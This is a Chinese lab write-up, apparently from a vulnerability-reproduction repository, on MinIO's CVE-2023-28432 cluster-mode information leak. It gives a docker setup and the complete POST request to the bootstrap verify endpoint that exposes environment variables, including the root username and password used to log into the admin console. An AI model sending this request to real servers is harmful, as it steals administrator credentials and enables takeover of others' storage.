Aaron
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46 lines
1.4 KiB
Markdown
46 lines
1.4 KiB
Markdown
# MinIO集群模式信息泄露漏洞（CVE-2023-28432）
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MinIO是一个开源对象存储系统。
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在其`RELEASE.2023-03-20T20-16-18Z`版本（不含）以前，集群模式部署下存在一处信息泄露漏洞，攻击者可以通过发送一个POST数据包获取进程所有的环境变量，其中就包含账号密码`MINIO_ROOT_USER`和`MINIO_ROOT_PASSWORD`。
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参考链接：
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- <https://github.com/minio/minio/security/advisories/GHSA-6xvq-wj2x-3h3q>
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- <https://mp.weixin.qq.com/s/GNhQLuzD8up3VcBRIinmgQ>
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## 漏洞环境
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执行如下命令启动一个MinIO集群，其中包含3个以集群模式运行的服务：
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```
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docker compose up -d
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```
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集群启动后，访问`http://your-ip:9001`可以查看Web管理页面，访问`http://your-ip:9000`是API服务。
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## 漏洞复现
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这个漏洞存在于API节点`http://your-ip:9000/minio/bootstrap/v1/verify`上，发送如下数据包即可查看泄露的环境变量：
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```
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POST /minio/bootstrap/v1/verify HTTP/1.1
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Host: your-ip:9000
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Accept-Encoding: gzip, deflate
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Accept: */*
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Accept-Language: en-US;q=0.9,en;q=0.8
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36
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Connection: close
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Cache-Control: max-age=0
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Content-Type: application/x-www-form-urlencoded
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Content-Length: 0
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```
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可见，其中包含`MINIO_ROOT_USER`和`MINIO_ROOT_PASSWORD`。使用这个账号密码，即可成功登录管理后台：
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